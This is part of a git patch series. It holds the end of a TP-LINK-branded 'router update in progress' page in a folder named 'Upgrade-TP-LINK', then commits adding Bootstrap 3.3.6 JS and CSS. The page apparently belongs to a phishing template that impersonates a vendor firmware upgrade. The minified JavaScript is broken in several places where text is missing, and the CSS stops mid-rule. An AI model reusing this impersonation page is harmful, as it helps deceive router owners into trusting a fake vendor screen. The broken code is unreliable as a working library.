The update is currently being uploaded to the router. + Please do not dissconnect or turn off the router while it's + being updated.

+
+ + +
+
+ 0% Complete +
+
+ + +
+
+ + + + + + + +
+
+

TP-LINK© 2016, All Rights Reserved.

+
+
+ + + + + + + + + From 8a7822be1c689838e96f2e168e69a22d1f3bc67d Mon Sep 17 00:00:00 2001 From: William Todt Date: Wed, 16 Mar 2016 22:21:22 +0400 Subject: [PATCH 052/294] Create bootstrap.min.js --- Sites/Upgrade-TP-LINK/bootstrap.min.js | 7 +++++++ 1 file changed, 7 insertions(+) create mode 100644 Sites/Upgrade-TP-LINK/bootstrap.min.js diff --git a/Sites/Upgrade-TP-LINK/bootstrap.min.js b/Sites/Upgrade-TP-LINK/bootstrap.min.js new file mode 100644 index 0000000..e364a13 --- /dev/null +++ b/Sites/Upgrade-TP-LINK/bootstrap.min.js @@ -0,0 +1,7 @@ +/*! + * Bootstrap v3.3.6 (http://getbootstrap.com) + * Copyright 2011-2015 Twitter, Inc. + * Licensed under the MIT license + */ +if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(a){"use strict";var b=a.fn.jquery.split(" ")[0].split(".");if(b[0]<2&&b[1]<9||1==b[0]&&9==b[1]&&b[2]<1||b[0]>2)throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher, but lower than version 3")}(jQuery),+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one("bsTransitionEnd",function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b(),a.support.transition&&(a.event.special.bsTransitionEnd={bindType:a.support.transition.end,delegateType:a.support.transition.end,handle:function(b){return a(b.target).is(this)?b.handleObj.handler.apply(this,arguments):void 0}})})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var c=a(this),e=c.data("bs.alert");e||c.data("bs.alert",e=new d(this)),"string"==typeof b&&e[b].call(c)})}var c='[data-dismiss="alert"]',d=function(b){a(b).on("click",c,this.close)};d.VERSION="3.3.6",d.TRANSITION_DURATION=150,d.prototype.close=function(b){function c(){g.detach().trigger("closed.bs.alert").remove()}var e=a(this),f=e.attr("data-target");f||(f=e.attr("href"),f=f&&f.replace(/.*(?=#[^\s]*$)/,""));var g=a(f);b&&b.preventDefault(),g.length||(g=e.closest(".alert")),g.trigger(b=a.Event("close.bs.alert")),b.isDefaultPrevented()||(g.removeClass("in"),a.support.transition&&g.hasClass("fade")?g.one("bsTransitionEnd",c).emulateTransitionEnd(d.TRANSITION_DURATION):c())};var e=a.fn.alert;a.fn.alert=b,a.fn.alert.Constructor=d,a.fn.alert.noConflict=function(){return a.fn.alert=e,this},a(document).on("click.bs.alert.data-api",c,d.prototype.close)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.button"),f="object"==typeof b&&b;e||d.data("bs.button",e=new c(this,f)),"toggle"==b?e.toggle():b&&e.setState(b)})}var c=function(b,d){this.$element=a(b),this.options=a.extend({},c.DEFAULTS,d),this.isLoading=!1};c.VERSION="3.3.6",c.DEFAULTS={loadingText:"loading..."},c.prototype.setState=function(b){var c="disabled",d=this.$element,e=d.is("input")?"val":"html",f=d.data();b+="Text",null==f.resetText&&d.data("resetText",d[e]()),setTimeout(a.proxy(function(){d[e](null==f[b]?this.options[b]:f[b]),"loadingText"==b?(this.isLoading=!0,d.addClass(c).attr(c,c)):this.isLoading&&(this.isLoading=!1,d.removeClass(c).removeAttr(c))},this),0)},c.prototype.toggle=function(){var a=!0,b=this.$element.closest('[data-toggle="buttons"]');if(b.length){var c=this.$element.find("input");"radio"==c.prop("type")?(c.prop("checked")&&(a=!1),b.find(".active").removeClass("active"),this.$element.addClass("active")):"checkbox"==c.prop("type")&&(c.prop("checked")!==this.$element.hasClass("active")&&(a=!1),this.$element.toggleClass("active")),c.prop("checked",this.$element.hasClass("active")),a&&c.trigger("change")}else this.$element.attr("aria-pressed",!this.$element.hasClass("active")),this.$element.toggleClass("active")};var d=a.fn.button;a.fn.button=b,a.fn.button.Constructor=c,a.fn.button.noConflict=function(){return a.fn.button=d,this},a(document).on("click.bs.button.data-api",'[data-toggle^="button"]',function(c){var d=a(c.target);d.hasClass("btn")||(d=d.closest(".btn")),b.call(d,"toggle"),a(c.target).is('input[type="radio"]')||a(c.target).is('input[type="checkbox"]')||c.preventDefault()}).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',function(b){a(b.target).closest(".btn").toggleClass("focus",/^focus(in)?$/.test(b.type))})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.carousel"),f=a.extend({},c.DEFAULTS,d.data(),"object"==typeof b&&b),g="string"==typeof b?b:f.slide;e||d.data("bs.carousel",e=new c(this,f)),"number"==typeof b?e.to(b):g?e[g]():f.interval&&e.pause().cycle()})}var c=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.paused=null,this.sliding=null,this.interval=null,this.$active=null,this.$items=null,this.options.keyboard&&this.$element.on("keydown.bs.carousel",a.proxy(this.keydown,this)),"hover"==this.options.pause&&!("ontouchstart"in document.documentElement)&&this.$element.on("mouseenter.bs.carousel",a.proxy(this.pause,this)).on("mouseleave.bs.carousel",a.proxy(this.cycle,this))};c.VERSION="3.3.6",c.TRANSITION_DURATION=600,c.DEFAULTS={interval:5e3,pause:"hover",wrap:!0,keyboard:!0},c.prototype.keydown=function(a){if(!/input|textarea/i.test(a.target.tagName)){switch(a.which){case 37:this.prev();break;case 39:this.next();break;default:return}a.preventDefault()}},c.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},c.prototype.getItemIndex=function(a){return this.$items=a.parent().children(".item"),this.$items.index(a||this.$active)},c.prototype.getItemForDirection=function(a,b){var c=this.getItemIndex(b),d="prev"==a&&0===c||"next"==a&&c==this.$items.length-1;if(d&&!this.options.wrap)return b;var e="prev"==a?-1:1,f=(c+e)%this.$items.length;return this.$items.eq(f)},c.prototype.to=function(a){var b=this,c=this.getItemIndex(this.$active=this.$element.find(".item.active"));return a>this.$items.length-1||0>a?void 0:this.sliding?this.$element.one("slid.bs.carousel",function(){b.to(a)}):c==a?this.pause().cycle():this.slide(a>c?"next":"prev",this.$items.eq(a))},c.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(".next, .prev").length&&a.support.transition&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},c.prototype.next=function(){return this.sliding?void 0:this.slide("next")},c.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},c.prototype.slide=function(b,d){var e=this.$element.find(".item.active"),f=d||this.getItemForDirection(b,e),g=this.interval,h="next"==b?"left":"right",i=this;if(f.hasClass("active"))return this.sliding=!1;var j=f[0],k=a.Event("slide.bs.carousel",{relatedTarget:j,direction:h});if(this.$element.trigger(k),!k.isDefaultPrevented()){if(this.sliding=!0,g&&this.pause(),this.$indicators.length){this.$indicators.find(".active").removeClass("active");var l=a(this.$indicators.children()[this.getItemIndex(f)]);l&&l.addClass("active")}var m=a.Event("slid.bs.carousel",{relatedTarget:j,direction:h});return a.support.transition&&this.$element.hasClass("slide")?(f.addClass(b),f[0].offsetWidth,e.addClass(h),f.addClass(h),e.one("bsTransitionEnd",function(){f.removeClass([b,h].join(" ")).addClass("active"),e.removeClass(["active",h].join(" ")),i.sliding=!1,setTimeout(function(){i.$element.trigger(m)},0)}).emulateTransitionEnd(c.TRANSITION_DURATION)):(e.removeClass("active"),f.addClass("active"),this.sliding=!1,this.$element.trigger(m)),g&&this.cycle(),this}};var d=a.fn.carousel;a.fn.carousel=b,a.fn.carousel.Constructor=c,a.fn.carousel.noConflict=function(){return a.fn.carousel=d,this};var e=function(c){var d,e=a(this),f=a(e.attr("data-target")||(d=e.attr("href"))&&d.replace(/.*(?=#[^\s]+$)/,""));if(f.hasClass("carousel")){var g=a.extend({},f.data(),e.data()),h=e.attr("data-slide-to");h&&(g.interval=!1),b.call(f,g),h&&f.data("bs.carousel").to(h),c.preventDefault()}};a(document).on("click.bs.carousel.data-api","[data-slide]",e).on("click.bs.carousel.data-api","[data-slide-to]",e),a(window).on("load",function(){a('[data-ride="carousel"]').each(function(){var c=a(this);b.call(c,c.data())})})}(jQuery),+function(a){"use strict";function b(b){var c,d=b.attr("data-target")||(c=b.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,"");return a(d)}function c(b){return this.each(function(){var c=a(this),e=c.data("bs.collapse"),f=a.extend({},d.DEFAULTS,c.data(),"object"==typeof b&&b);!e&&f.toggle&&/show|hide/.test(b)&&(f.toggle=!1),e||c.data("bs.collapse",e=new d(this,f)),"string"==typeof b&&e[b]()})}var d=function(b,c){this.$element=a(b),this.options=a.extend({},d.DEFAULTS,c),this.$trigger=a('[data-toggle="collapse"][href="#'+b.id+'"],[data-toggle="collapse"][data-target="#'+b.id+'"]'),this.transitioning=null,this.options.parent?this.$parent=this.getParent():this.addAriaAndCollapsedClass(this.$element,this.$trigger),this.options.toggle&&this.toggle()};d.VERSION="3.3.6",d.TRANSITION_DURATION=350,d.DEFAULTS={toggle:!0},d.prototype.dimension=function(){var a=this.$element.hasClass("width");return a?"width":"height"},d.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var b,e=this.$parent&&this.$parent.children(".panel").children(".in, .collapsing");if(!(e&&e.length&&(b=e.data("bs.collapse"),b&&b.transitioning))){var f=a.Event("show.bs.collapse");if(this.$element.trigger(f),!f.isDefaultPrevented()){e&&e.length&&(c.call(e,"hide"),b||e.data("bs.collapse",null));var g=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[g](0).attr("aria-expanded",!0),this.$trigger.removeClass("collapsed").attr("aria-expanded",!0),this.transitioning=1;var h=function(){this.$element.removeClass("collapsing").addClass("collapse in")[g](""),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return h.call(this);var i=a.camelCase(["scroll",g].join("-"));this.$element.one("bsTransitionEnd",a.proxy(h,this)).emulateTransitionEnd(d.TRANSITION_DURATION)[g](this.$element[0][i])}}}},d.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var b=a.Event("hide.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse in").attr("aria-expanded",!1),this.$trigger.addClass("collapsed").attr("aria-expanded",!1),this.transitioning=1;var e=function(){this.transitioning=0,this.$element.removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")};return a.support.transition?void this.$element[c](0).one("bsTransitionEnd",a.proxy(e,this)).emulateTransitionEnd(d.TRANSITION_DURATION):e.call(this)}}},d.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()},d.prototype.getParent=function(){return a(this.options.parent).find('[data-toggle="collapse"][data-parent="'+this.options.parent+'"]').each(a.proxy(function(c,d){var e=a(d);this.addAriaAndCollapsedClass(b(e),e)},this)).end()},d.prototype.addAriaAndCollapsedClass=function(a,b){var c=a.hasClass("in");a.attr("aria-expanded",c),b.toggleClass("collapsed",!c).attr("aria-expanded",c)};var e=a.fn.collapse;a.fn.collapse=c,a.fn.collapse.Constructor=d,a.fn.collapse.noConflict=function(){return a.fn.collapse=e,this},a(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',function(d){var e=a(this);e.attr("data-target")||d.preventDefault();var f=b(e),g=f.data("bs.collapse"),h=g?"toggle":e.data();c.call(f,h)})}(jQuery),+function(a){"use strict";function b(b){var c=b.attr("data-target");c||(c=b.attr("href"),c=c&&/#[A-Za-z]/.test(c)&&c.replace(/.*(?=#[^\s]*$)/,""));var d=c&&a(c);return d&&d.length?d:b.parent()}function c(c){c&&3===c.which||(a(e).remove(),a(f).each(function(){var d=a(this),e=b(d),f={relatedTarget:this};e.hasClass("open")&&(c&&"click"==c.type&&/input|textarea/i.test(c.target.tagName)&&a.contains(e[0],c.target)||(e.trigger(c=a.Event("hide.bs.dropdown",f)),c.isDefaultPrevented()||(d.attr("aria-expanded","false"),e.removeClass("open").trigger(a.Event("hidden.bs.dropdown",f)))))}))}function d(b){return this.each(function(){var c=a(this),d=c.data("bs.dropdown");d||c.data("bs.dropdown",d=new g(this)),"string"==typeof b&&d[b].call(c)})}var e=".dropdown-backdrop",f='[data-toggle="dropdown"]',g=function(b){a(b).on("click.bs.dropdown",this.toggle)};g.VERSION="3.3.6",g.prototype.toggle=function(d){var e=a(this);if(!e.is(".disabled, :disabled")){var f=b(e),g=f.hasClass("open");if(c(),!g){"ontouchstart"in document.documentElement&&!f.closest(".navbar-nav").length&&a(document.createElement("div")).addClass("dropdown-backdrop").insertAfter(a(this)).on("click",c);var h={relatedTarget:this};if(f.trigger(d=a.Event("show.bs.dropdown",h)),d.isDefaultPrevented())return;e.trigger("focus").attr("aria-expanded","true"),f.toggleClass("open").trigger(a.Event("shown.bs.dropdown",h))}return!1}},g.prototype.keydown=function(c){if(/(38|40|27|32)/.test(c.which)&&!/input|textarea/i.test(c.target.tagName)){var d=a(this);if(c.preventDefault(),c.stopPropagation(),!d.is(".disabled, :disabled")){var e=b(d),g=e.hasClass("open");if(!g&&27!=c.which||g&&27==c.which)return 27==c.which&&e.find(f).trigger("focus"),d.trigger("click");var h=" li:not(.disabled):visible a",i=e.find(".dropdown-menu"+h);if(i.length){var j=i.index(c.target);38==c.which&&j>0&&j--,40==c.which&&jdocument.documentElement.clientHeight;this.$element.css({paddingLeft:!this.bodyIsOverflowing&&a?this.scrollbarWidth:"",paddingRight:this.bodyIsOverflowing&&!a?this.scrollbarWidth:""})},c.prototype.resetAdjustments=function(){this.$element.css({paddingLeft:"",paddingRight:""})},c.prototype.checkScrollbar=function(){var a=window.innerWidth;if(!a){var b=document.documentElement.getBoundingClientRect();a=b.right-Math.abs(b.left)}this.bodyIsOverflowing=document.body.clientWidth
',trigger:"hover focus",title:"",delay:0,html:!1,container:!1,viewport:{selector:"body",padding:0}},c.prototype.init=function(b,c,d){if(this.enabled=!0,this.type=b,this.$element=a(c),this.options=this.getOptions(d),this.$viewport=this.options.viewport&&a(a.isFunction(this.options.viewport)?this.options.viewport.call(this,this.$element):this.options.viewport.selector||this.options.viewport),this.inState={click:!1,hover:!1,focus:!1},this.$element[0]instanceof document.constructor&&!this.options.selector)throw new Error("`selector` option must be specified when initializing "+this.type+" on the window.document object!");for(var e=this.options.trigger.split(" "),f=e.length;f--;){var g=e[f];if("click"==g)this.$element.on("click."+this.type,this.options.selector,a.proxy(this.toggle,this));else if("manual"!=g){var h="hover"==g?"mouseenter":"focusin",i="hover"==g?"mouseleave":"focusout";this.$element.on(h+"."+this.type,this.options.selector,a.proxy(this.enter,this)),this.$element.on(i+"."+this.type,this.options.selector,a.proxy(this.leave,this))}}this.options.selector?this._options=a.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.getOptions=function(b){return b=a.extend({},this.getDefaults(),this.$element.data(),b),b.delay&&"number"==typeof b.delay&&(b.delay={show:b.delay,hide:b.delay}),b},c.prototype.getDelegateOptions=function(){var b={},c=this.getDefaults();return this._options&&a.each(this._options,function(a,d){c[a]!=d&&(b[a]=d)}),b},c.prototype.enter=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);return c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),b instanceof a.Event&&(c.inState["focusin"==b.type?"focus":"hover"]=!0),c.tip().hasClass("in")||"in"==c.hoverState?void(c.hoverState="in"):(clearTimeout(c.timeout),c.hoverState="in",c.options.delay&&c.options.delay.show?void(c.timeout=setTimeout(function(){"in"==c.hoverState&&c.show()},c.options.delay.show)):c.show())},c.prototype.isInStateTrue=function(){for(var a in this.inState)if(this.inState[a])return!0;return!1},c.prototype.leave=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);return c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),b instanceof a.Event&&(c.inState["focusout"==b.type?"focus":"hover"]=!1),c.isInStateTrue()?void 0:(clearTimeout(c.timeout),c.hoverState="out",c.options.delay&&c.options.delay.hide?void(c.timeout=setTimeout(function(){"out"==c.hoverState&&c.hide()},c.options.delay.hide)):c.hide())},c.prototype.show=function(){var b=a.Event("show.bs."+this.type);if(this.hasContent()&&this.enabled){this.$element.trigger(b);var d=a.contains(this.$element[0].ownerDocument.documentElement,this.$element[0]);if(b.isDefaultPrevented()||!d)return;var e=this,f=this.tip(),g=this.getUID(this.type);this.setContent(),f.attr("id",g),this.$element.attr("aria-describedby",g),this.options.animation&&f.addClass("fade");var h="function"==typeof this.options.placement?this.options.placement.call(this,f[0],this.$element[0]):this.options.placement,i=/\s?auto?\s?/i,j=i.test(h);j&&(h=h.replace(i,"")||"top"),f.detach().css({top:0,left:0,display:"block"}).addClass(h).data("bs."+this.type,this),this.options.container?f.appendTo(this.options.container):f.insertAfter(this.$element),this.$element.trigger("inserted.bs."+this.type);var k=this.getPosition(),l=f[0].offsetWidth,m=f[0].offsetHeight;if(j){var n=h,o=this.getPosition(this.$viewport);h="bottom"==h&&k.bottom+m>o.bottom?"top":"top"==h&&k.top-mo.width?"left":"left"==h&&k.left-lg.top+g.height&&(e.top=g.top+g.height-i)}else{var j=b.left-f,k=b.left+f+c;jg.right&&(e.left=g.left+g.width-k)}return e},c.prototype.getTitle=function(){var a,b=this.$element,c=this.options;return a=b.attr("data-original-title")||("function"==typeof c.title?c.title.call(b[0]):c.title)},c.prototype.getUID=function(a){do a+=~~(1e6*Math.random());while(document.getElementById(a));return a},c.prototype.tip=function(){if(!this.$tip&&(this.$tip=a(this.options.template),1!=this.$tip.length))throw new Error(this.type+" `template` option must consist of exactly 1 top-level element!");return this.$tip},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},c.prototype.enable=function(){this.enabled=!0},c.prototype.disable=function(){this.enabled=!1},c.prototype.toggleEnabled=function(){this.enabled=!this.enabled},c.prototype.toggle=function(b){var c=this;b&&(c=a(b.currentTarget).data("bs."+this.type),c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c))),b?(c.inState.click=!c.inState.click,c.isInStateTrue()?c.enter(c):c.leave(c)):c.tip().hasClass("in")?c.leave(c):c.enter(c)},c.prototype.destroy=function(){var a=this;clearTimeout(this.timeout),this.hide(function(){a.$element.off("."+a.type).removeData("bs."+a.type),a.$tip&&a.$tip.detach(),a.$tip=null,a.$arrow=null,a.$viewport=null})};var d=a.fn.tooltip;a.fn.tooltip=b,a.fn.tooltip.Constructor=c,a.fn.tooltip.noConflict=function(){return a.fn.tooltip=d,this}}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.popover"),f="object"==typeof b&&b;(e||!/destroy|hide/.test(b))&&(e||d.data("bs.popover",e=new c(this,f)),"string"==typeof b&&e[b]())})}var c=function(a,b){this.init("popover",a,b)};if(!a.fn.tooltip)throw new Error("Popover requires tooltip.js");c.VERSION="3.3.6",c.DEFAULTS=a.extend({},a.fn.tooltip.Constructor.DEFAULTS,{placement:"right",trigger:"click",content:"",template:''}),c.prototype=a.extend({},a.fn.tooltip.Constructor.prototype),c.prototype.constructor=c,c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.setContent=function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(".popover-title")[this.options.html?"html":"text"](b),a.find(".popover-content").children().detach().end()[this.options.html?"string"==typeof c?"html":"append":"text"](c),a.removeClass("fade top bottom left right in"),a.find(".popover-title").html()||a.find(".popover-title").hide()},c.prototype.hasContent=function(){return this.getTitle()||this.getContent()},c.prototype.getContent=function(){var a=this.$element,b=this.options;return a.attr("data-content")||("function"==typeof b.content?b.content.call(a[0]):b.content)},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")};var d=a.fn.popover;a.fn.popover=b,a.fn.popover.Constructor=c,a.fn.popover.noConflict=function(){return a.fn.popover=d,this}}(jQuery),+function(a){"use strict";function b(c,d){this.$body=a(document.body),this.$scrollElement=a(a(c).is(document.body)?window:c),this.options=a.extend({},b.DEFAULTS,d),this.selector=(this.options.target||"")+" .nav li > a",this.offsets=[],this.targets=[],this.activeTarget=null,this.scrollHeight=0,this.$scrollElement.on("scroll.bs.scrollspy",a.proxy(this.process,this)),this.refresh(),this.process()}function c(c){return this.each(function(){var d=a(this),e=d.data("bs.scrollspy"),f="object"==typeof c&&c;e||d.data("bs.scrollspy",e=new b(this,f)),"string"==typeof c&&e[c]()})}b.VERSION="3.3.6",b.DEFAULTS={offset:10},b.prototype.getScrollHeight=function(){return this.$scrollElement[0].scrollHeight||Math.max(this.$body[0].scrollHeight,document.documentElement.scrollHeight)},b.prototype.refresh=function(){var b=this,c="offset",d=0;this.offsets=[],this.targets=[],this.scrollHeight=this.getScrollHeight(),a.isWindow(this.$scrollElement[0])||(c="position",d=this.$scrollElement.scrollTop()),this.$body.find(this.selector).map(function(){var b=a(this),e=b.data("target")||b.attr("href"),f=/^#./.test(e)&&a(e);return f&&f.length&&f.is(":visible")&&[[f[c]().top+d,e]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){b.offsets.push(this[0]),b.targets.push(this[1])})},b.prototype.process=function(){var a,b=this.$scrollElement.scrollTop()+this.options.offset,c=this.getScrollHeight(),d=this.options.offset+c-this.$scrollElement.height(),e=this.offsets,f=this.targets,g=this.activeTarget;if(this.scrollHeight!=c&&this.refresh(),b>=d)return g!=(a=f[f.length-1])&&this.activate(a);if(g&&b=e[a]&&(void 0===e[a+1]||b .dropdown-menu > .active").removeClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!1),b.addClass("active").find('[data-toggle="tab"]').attr("aria-expanded",!0),h?(b[0].offsetWidth,b.addClass("in")):b.removeClass("fade"),b.parent(".dropdown-menu").length&&b.closest("li.dropdown").addClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!0),e&&e()}var g=d.find("> .active"),h=e&&a.support.transition&&(g.length&&g.hasClass("fade")||!!d.find("> .fade").length);g.length&&h?g.one("bsTransitionEnd",f).emulateTransitionEnd(c.TRANSITION_DURATION):f(),g.removeClass("in")};var d=a.fn.tab;a.fn.tab=b,a.fn.tab.Constructor=c,a.fn.tab.noConflict=function(){return a.fn.tab=d,this};var e=function(c){c.preventDefault(),b.call(a(this),"show")};a(document).on("click.bs.tab.data-api",'[data-toggle="tab"]',e).on("click.bs.tab.data-api",'[data-toggle="pill"]',e)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.affix"),f="object"==typeof b&&b;e||d.data("bs.affix",e=new c(this,f)),"string"==typeof b&&e[b]()})}var c=function(b,d){this.options=a.extend({},c.DEFAULTS,d),this.$target=a(this.options.target).on("scroll.bs.affix.data-api",a.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",a.proxy(this.checkPositionWithEventLoop,this)),this.$element=a(b),this.affixed=null,this.unpin=null,this.pinnedOffset=null,this.checkPosition()};c.VERSION="3.3.6",c.RESET="affix affix-top affix-bottom",c.DEFAULTS={offset:0,target:window},c.prototype.getState=function(a,b,c,d){var e=this.$target.scrollTop(),f=this.$element.offset(),g=this.$target.height();if(null!=c&&"top"==this.affixed)return c>e?"top":!1;if("bottom"==this.affixed)return null!=c?e+this.unpin<=f.top?!1:"bottom":a-d>=e+g?!1:"bottom";var h=null==this.affixed,i=h?e:f.top,j=h?g:b;return null!=c&&c>=e?"top":null!=d&&i+j>=a-d?"bottom":!1},c.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(c.RESET).addClass("affix");var a=this.$target.scrollTop(),b=this.$element.offset();return this.pinnedOffset=b.top-a},c.prototype.checkPositionWithEventLoop=function(){setTimeout(a.proxy(this.checkPosition,this),1)},c.prototype.checkPosition=function(){if(this.$element.is(":visible")){var b=this.$element.height(),d=this.options.offset,e=d.top,f=d.bottom,g=Math.max(a(document).height(),a(document.body).height());"object"!=typeof d&&(f=e=d),"function"==typeof e&&(e=d.top(this.$element)),"function"==typeof f&&(f=d.bottom(this.$element));var h=this.getState(g,b,e,f);if(this.affixed!=h){null!=this.unpin&&this.$element.css("top","");var i="affix"+(h?"-"+h:""),j=a.Event(i+".bs.affix");if(this.$element.trigger(j),j.isDefaultPrevented())return;this.affixed=h,this.unpin="bottom"==h?this.getPinnedOffset():null,this.$element.removeClass(c.RESET).addClass(i).trigger(i.replace("affix","affixed")+".bs.affix")}"bottom"==h&&this.$element.offset({top:g-b-f})}};var d=a.fn.affix;a.fn.affix=b,a.fn.affix.Constructor=c,a.fn.affix.noConflict=function(){return a.fn.affix=d,this},a(window).on("load",function(){a('[data-spy="affix"]').each(function(){var c=a(this),d=c.data();d.offset=d.offset||{},null!=d.offsetBottom&&(d.offset.bottom=d.offsetBottom),null!=d.offsetTop&&(d.offset.top=d.offsetTop),b.call(c,d)})})}(jQuery); From 61805fd521a75df73ce923e54bbc674bff58b340 Mon Sep 17 00:00:00 2001 From: William Todt Date: Wed, 16 Mar 2016 22:23:30 +0400 Subject: [PATCH 053/294] Create bootstrap.min.css --- Sites/Upgrade-TP-LINK/bootstrap.min.css | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 Sites/Upgrade-TP-LINK/bootstrap.min.css diff --git a/Sites/Upgrade-TP-LINK/bootstrap.min.css b/Sites/Upgrade-TP-LINK/bootstrap.min.css new file mode 100644 index 0000000..f7bca0a --- /dev/null +++ b/Sites/Upgrade-TP-LINK/bootstrap.min.css @@ -0,0 +1,6 @@ +/*! + * Bootstrap v3.3.6 (http://getbootstrap.com) + * Copyright 2011-2015 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + *//*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}h1{margin:.67em 0;font-size:2em}mark{color:#000;background:#ff0}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{height:0;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{margin:0;font:inherit;color:inherit}button{overflow:visible}button,select{text-transform:none}button,html input[type=button],input[type=reset],input[type=submit]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0}input{line-height:normal}input[type=checkbox],input[type=radio]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:0}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}input[type=search]{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-appearance:textfield}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}fieldset{padding:.35em .625em .75em;margin:0 2px;border:1px solid silver}legend{padding:0;border:0}textarea{overflow:auto}optgroup{font-weight:700}table{border-spacing:0;border-collapse:collapse}td,th{padding:0}/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */@media print{*,:after,:before{color:#000!important;text-shadow:none!important;background:0 0!important;-webkit-box-shadow:none!important;box-shadow:none!important}a,a:visited{text-decoration:underline}a[href]:after{content:" (" attr(href) ")"}abbr[title]:after{content:" (" attr(title) ")"}a[href^="javascript:"]:after,a[href^="#"]:after{content:""}blockquote,pre{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}img{max-width:100%!important}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}.navbar{display:none}.btn>.caret,.dropup>.btn>.caret{border-top-color:#000!important}.label{border:1px solid #000}.table{border-collapse:collapse!important}.table td,.table th{background-color:#fff!important}.table-bordered td,.table-bordered th{border:1px solid #ddd!important}}@font-face{font-family:'Glyphicons Halflings';src:url(../fonts/glyphicons-halflings-regular.eot);src:url(../fonts/glyphicons-halflings-regular.eot?#iefix) format('embedded-opentype'),url(../fonts/glyphicons-halflings-regular.woff2) format('woff2'),url(../fonts/glyphicons-halflings-regular.woff) format('woff'),url(../fonts/glyphicons-halflings-regular.ttf) format('truetype'),url(../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular) format('svg')}.glyphicon{position:relative;top:1px;display:inline-block;font-family:'Glyphicons 